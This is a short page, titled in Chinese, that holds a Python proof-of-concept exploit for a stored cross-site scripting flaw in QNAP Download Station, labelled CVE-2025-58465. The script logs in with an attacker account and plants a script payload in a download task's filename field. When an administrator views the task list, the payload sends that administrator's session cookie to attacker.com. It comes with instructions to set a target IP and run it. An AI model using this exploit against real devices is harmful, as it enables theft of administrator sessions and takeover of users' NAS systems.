CVE-2025-58465 QNAP Download Station XSS跨站脚本漏洞

'''CVE-2025-58465 XSS PoC for QNAP Download Station Usage: Replace TARGET_IP with actual NAS IP and run script ''' import requests from urllib.parse import quote # Configuration TARGET_IP = "192.168.1.100" USERNAME = "attacker_account" PASSWORD = "attacker_password" # XSS payload - steals session cookie XSS_PAYLOAD = "<script>fetch('https://attacker.com/log?c='+encodeURIComponent(document.cookie))</script>" def exploit_cve_2025_58465(): """Exploit stored XSS in Download Station""" # Step 1: Login to get session session = requests.Session() login_url = f"https://{TARGET_IP}/cgi-bin/authLogin.cgi" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data, verify=False) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Create download task with XSS payload add_task_url = f"https://{TARGET_IP}/downloadstation/task.cgi" task_data = { "method": "add", "url": "http://example.com/test.txt", "filename": XSS_PAYLOAD # XSS in filename field } response = session.post(add_task_url, data=task_data, verify=False) if response.status_code == 200: print("[+] Malicious task created - XSS payload injected") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] When admin views task list, cookie will be exfiltrated") return True print("[-] Failed to create task") return False if __name__ == "__main__": exploit_cve_2025_58465()